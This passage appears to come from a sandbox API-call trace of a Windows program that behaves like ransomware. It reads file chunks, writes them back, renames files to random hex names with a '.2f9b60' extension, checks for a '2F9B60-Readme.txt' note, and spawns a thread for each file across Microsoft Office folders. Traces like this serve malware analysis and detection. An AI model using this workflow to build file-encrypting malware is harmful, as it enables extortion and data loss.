Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x72dcc79f [0089.680] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x260d30f3 [0089.680] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x6f271b82 [0089.680] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0xe954a69 [0089.680] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x39d8503a [0089.680] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0xa4191de [0089.680] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x121c8d04 [0089.688] SetFilePointerEx (in: hFile=0xa50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.688] ReadFile (in: hFile=0xa50, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x25d5f860, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x25d5f860*=0x3c00, lpOverlapped=0x0) returned 1 [0089.691] SetFilePointerEx (in: hFile=0xa50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2d0 [0089.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a2d0) returned 1 [0089.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cea4d30 [0089.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2d0 [0089.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a6c0 [0089.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a6c0) returned 1 [0089.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.692] WriteFile (in: hFile=0xa50, lpBuffer=0x1cea4d30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x25d5f860, lpOverlapped=0x0 | out: lpBuffer=0x1cea4d30*, lpNumberOfBytesWritten=0x25d5f860*=0x3c00, lpOverlapped=0x0) returned 1 [0089.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea4d30) returned 1 [0089.697] SetFilePointerEx (in: hFile=0xa50, liDistanceToMove=0x16800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.698] ReadFile (in: hFile=0xa50, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x25d5f860, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x25d5f860*=0x3c00, lpOverlapped=0x0) returned 1 [0089.701] SetFilePointerEx (in: hFile=0xa50, liDistanceToMove=0x16800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a6f0 [0089.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a6f0) returned 1 [0089.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cea4d30 [0089.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a6f0 [0089.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a6c0 [0089.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a6c0) returned 1 [0089.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.702] WriteFile (in: hFile=0xa50, lpBuffer=0x1cea4d30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x25d5f860, lpOverlapped=0x0 | out: lpBuffer=0x1cea4d30*, lpNumberOfBytesWritten=0x25d5f860*=0x3c00, lpOverlapped=0x0) returned 1 [0089.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea4d30) returned 1 [0089.703] SetFilePointerEx (in: hFile=0xa50, liDistanceToMove=0x28a81, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.703] ReadFile (in: hFile=0xa50, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x25d5f860, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x25d5f860*=0x3c00, lpOverlapped=0x0) returned 1 [0089.704] SetFilePointerEx (in: hFile=0xa50, liDistanceToMove=0x28a81, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a6c0 [0089.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a6c0) returned 1 [0089.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cea4d30 [0089.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a6c0 [0089.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a300 [0089.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a300) returned 1 [0089.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.705] WriteFile (in: hFile=0xa50, lpBuffer=0x1cea4d30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x25d5f860, lpOverlapped=0x0 | out: lpBuffer=0x1cea4d30*, lpNumberOfBytesWritten=0x25d5f860*=0x3c00, lpOverlapped=0x0) returned 1 [0089.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea4d30) returned 1 [0089.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1f00 [0089.706] SetFilePointerEx (in: hFile=0xa50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0089.706] WriteFile (in: hFile=0xa50, lpBuffer=0x133600*, nNumberOfBytesToWrite=0x14c, lpNumberOfBytesWritten=0x25d5f910, lpOverlapped=0x0 | out: lpBuffer=0x133600*, lpNumberOfBytesWritten=0x25d5f910*=0x14c, lpOverlapped=0x0) returned 1 [0089.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a300 [0089.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a300) returned 1 [0089.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85a300 [0089.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a5d0 [0089.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3f0 [0089.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a3f0) returned 1 [0089.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9fa30 [0089.708] sprintf (in: _Dest=0x1cd9fa30, _Format="%c%c" | out: _Dest="6c") returned 2 [0089.708] sprintf (in: _Dest=0x1cd9fa32, _Format="%c%c" | out: _Dest="a0") returned 2 [0089.708] sprintf (in: _Dest=0x1cd9fa34, _Format="%c%c" | out: _Dest="e5") returned 2 [0089.708] sprintf (in: _Dest=0x1cd9fa36, _Format="%c%c" | out: _Dest="93") returned 2 [0089.708] sprintf (in: _Dest=0x1cd9fa38, _Format="%c%c" | out: _Dest="a0") returned 2 [0089.708] sprintf (in: _Dest=0x1cd9fa3a, _Format="%c%c" | out: _Dest="74") returned 2 [0089.708] sprintf (in: _Dest=0x1cd9fa3c, _Format="%c%c" | out: _Dest="7e") returned 2 [0089.708] sprintf (in: _Dest=0x1cd9fa3e, _Format="%c%c" | out: _Dest="31") returned 2 [0089.709] sprintf (in: _Dest=0x1cd9fa40, _Format="%c%c" | out: _Dest="c5") returned 2 [0089.709] sprintf (in: _Dest=0x1cd9fa42, _Format="%c%c" | out: _Dest="86") returned 2 [0089.709] sprintf (in: _Dest=0x1cd9fa44, _Format="%c%c" | out: _Dest="e1") returned 2 [0089.709] sprintf (in: _Dest=0x1cd9fa46, _Format="%c%c" | out: _Dest="99") returned 2 [0089.709] sprintf (in: _Dest=0x1cd9fa48, _Format="%c%c" | out: _Dest="14") returned 2 [0089.709] sprintf (in: _Dest=0x1cd9fa4a, _Format="%c%c" | out: _Dest="7e") returned 2 [0089.709] sprintf (in: _Dest=0x1cd9fa4c, _Format="%c%c" | out: _Dest="a6") returned 2 [0089.709] sprintf (in: _Dest=0x1cd9fa4e, _Format="%c%c" | out: _Dest="f0") returned 2 [0089.709] sprintf (in: _Dest=0x1cd9fa50, _Format="%c%c" | out: _Dest="10") returned 2 [0089.709] sprintf (in: _Dest=0x1cd9fa52, _Format="%c%c" | out: _Dest="6e") returned 2 [0089.709] sprintf (in: _Dest=0x1cd9fa54, _Format="%c%c" | out: _Dest="71") returned 2 [0089.709] sprintf (in: _Dest=0x1cd9fa56, _Format="%c%c" | out: _Dest="89") returned 2 [0089.709] sprintf (in: _Dest=0x1cd9fa58, _Format="%c%c" | out: _Dest="21") returned 2 [0089.709] sprintf (in: _Dest=0x1cd9fa5a, _Format="%c%c" | out: _Dest="1b") returned 2 [0089.709] sprintf (in: _Dest=0x1cd9fa5c, _Format="%c%c" | out: _Dest="0b") returned 2 [0089.709] sprintf (in: _Dest=0x1cd9fa5e, _Format="%c%c" | out: _Dest="f5") returned 2 [0089.709] sprintf (in: _Dest=0x1cd9fa60, _Format="%c%c" | out: _Dest="47") returned 2 [0089.709] sprintf (in: _Dest=0x1cd9fa62, _Format="%c%c" | out: _Dest="7f") returned 2 [0089.709] RtlInitAnsiString (in: DestinationString=0x25d5f988, SourceString="6ca0e593a0747e31c586e199147ea6f0106e7189211b0bf5477f" | out: DestinationString="6ca0e593a0747e31c586e199147ea6f0106e7189211b0bf5477f") [0089.709] RtlAnsiStringToUnicodeString (in: DestinationString=0x25d5f958, SourceString="6ca0e593a0747e31c586e199147ea6f0106e7189211b0bf5477f", AllocateDestinationString=1 | out: DestinationString="6ca0e593a0747e31c586e199147ea6f0106e7189211b0bf5477f") returned 0x0 [0089.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b79dff0 [0089.709] wcscat (in: _Dest=0x1b7ad160, _Source="6ca0e593a0747" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\6ca0e593a0747") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\6ca0e593a0747" [0089.710] wcscat (in: _Dest=0x1b7ad160, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\6ca0e593a0747.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\6ca0e593a0747.2f9b60" [0089.710] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\6ca0e593a0747.2f9b60", NtPathName=0x25d5f930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\6ca0e593a0747.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0089.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x106e80 [0089.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0089.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77af50) returned 1 [0089.712] NtQueryInformationFile (in: FileHandle=0xa50, IoStatusBlock=0x25d5f998, FileInformation=0x25d5f9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x25d5f998, FileInformation=0x25d5f9a8) returned 0x0 [0089.712] NtSetInformationFile (FileHandle=0xa50, IoStatusBlock=0x25d5f998, FileInformation=0x25d5f9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0089.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad160) returned 1 [0089.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0089.713] FlushFileBuffers (hFile=0xa50) returned 1 [0089.714] CloseHandle (hObject=0xa50) returned 1 [0089.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad160 [0089.715] wcscpy (in: _Dest=0x1b7ad160, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0089.715] wcscat (in: _Dest=0x1b7ad160, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0089.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0089.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad160) returned 1 [0089.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bfd0) returned 1 Thread: id = 364 os_tid = 0xee0 [0089.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b7c1f00 [0089.725] wcscpy (in: _Dest=0x1b7c1f00, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0089.725] wcscat (in: _Dest=0x1b7c1f00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0089.725] wcscat (in: _Dest=0x1b7c1f00, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*" [0089.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce567d0 [0089.725] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*", lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d4f0 [0089.727] wcscmp (_String1=".", _String2=".") returned 0 [0089.727] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.728] wcscmp (_String1="..", _String2=".") returned 1 [0089.728] wcscmp (_String1="..", _String2="..") returned 0 [0089.728] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0089.728] wcscmp (_String1="1033", _String2=".") returned 1 [0089.728] wcscmp (_String1="1033", _String2="..") returned 1 [0089.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b79dff0 [0089.729] wcscpy (in: _Dest=0x1b79dff0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0089.729] wcscat (in: _Dest=0x1b79dff0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0089.729] wcscat (in: _Dest=0x1b79dff0, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033" [0096.739] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b79dff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xefc [0096.740] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2162900, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2162900, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.DLL", cAlternateFileName="")) returned 1 [0096.740] wcscmp (_String1="CAGCAT10.DLL", _String2=".") returned 1 [0096.740] wcscmp (_String1="CAGCAT10.DLL", _String2="..") returned 1 [0096.740] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x603d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MMW", cAlternateFileName="")) returned 1 [0096.740] wcscmp (_String1="CAGCAT10.MMW", _String2=".") returned 1 [0096.740] wcscmp (_String1="CAGCAT10.MMW", _String2="..") returned 1 [0096.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4dbf0 [0096.741] wcscpy (in: _Dest=0x1cf4dbf0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.741] wcscat (in: _Dest=0x1cf4dbf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.741] wcscat (in: _Dest=0x1cf4dbf0, _Source="CAGCAT10.MMW" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" [0096.741] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4dbf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf00 [0096.742] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ec5600, ftCreationTime.dwHighDateTime=0x1bd4c14, ftLastAccessTime.dwLowDateTime=0xbd180ea0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11ec5600, ftLastWriteTime.dwHighDateTime=0x1bd4c14, nFileSizeHigh=0x0, nFileSizeLow=0x585a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELPHRG01.WAV", cAlternateFileName="")) returned 1 [0096.742] wcscmp (_String1="ELPHRG01.WAV", _String2=".") returned 1 [0096.742] wcscmp (_String1="ELPHRG01.WAV", _String2="..") returned 1 [0096.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4dc80 [0096.742] wcscpy (in: _Dest=0x1cf4dc80, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.742] wcscat (in: _Dest=0x1cf4dc80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.742] wcscat (in: _Dest=0x1cf4dc80, _Source="ELPHRG01.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV" [0096.742] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4dc80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf04 [0096.743] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63c1b400, ftCreationTime.dwHighDateTime=0x1bd216e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x63c1b400, ftLastWriteTime.dwHighDateTime=0x1bd216e, nFileSizeHigh=0x0, nFileSizeLow=0x3602, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0088542.WMF", cAlternateFileName="")) returned 1 [0096.743] wcscmp (_String1="J0088542.WMF", _String2=".") returned 1 [0096.743] wcscmp (_String1="J0088542.WMF", _String2="..") returned 1 [0096.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4dd10 [0096.743] wcscpy (in: _Dest=0x1cf4dd10, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.743] wcscat (in: _Dest=0x1cf4dd10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.743] wcscat (in: _Dest=0x1cf4dd10, _Source="J0088542.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF" [0096.743] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4dd10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf08 [0096.744] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ad6a00, ftCreationTime.dwHighDateTime=0x1bcf887, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68ad6a00, ftLastWriteTime.dwHighDateTime=0x1bcf887, nFileSizeHigh=0x0, nFileSizeLow=0x8880, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090070.WMF", cAlternateFileName="")) returned 1 [0096.744] wcscmp (_String1="J0090070.WMF", _String2=".") returned 1 [0096.744] wcscmp (_String1="J0090070.WMF", _String2="..") returned 1 [0096.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4dda0 [0096.744] wcscpy (in: _Dest=0x1cf4dda0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.744] wcscat (in: _Dest=0x1cf4dda0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.744] wcscat (in: _Dest=0x1cf4dda0, _Source="J0090070.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF" [0096.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4dda0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf0c [0096.746] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59c88400, ftCreationTime.dwHighDateTime=0x1bd208e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59c88400, ftLastWriteTime.dwHighDateTime=0x1bd208e, nFileSizeHigh=0x0, nFileSizeLow=0x830a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090386.WMF", cAlternateFileName="")) returned 1 [0096.746] wcscmp (_String1="J0090386.WMF", _String2=".") returned 1 [0096.746] wcscmp (_String1="J0090386.WMF", _String2="..") returned 1 [0096.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4de30 [0096.746] wcscpy (in: 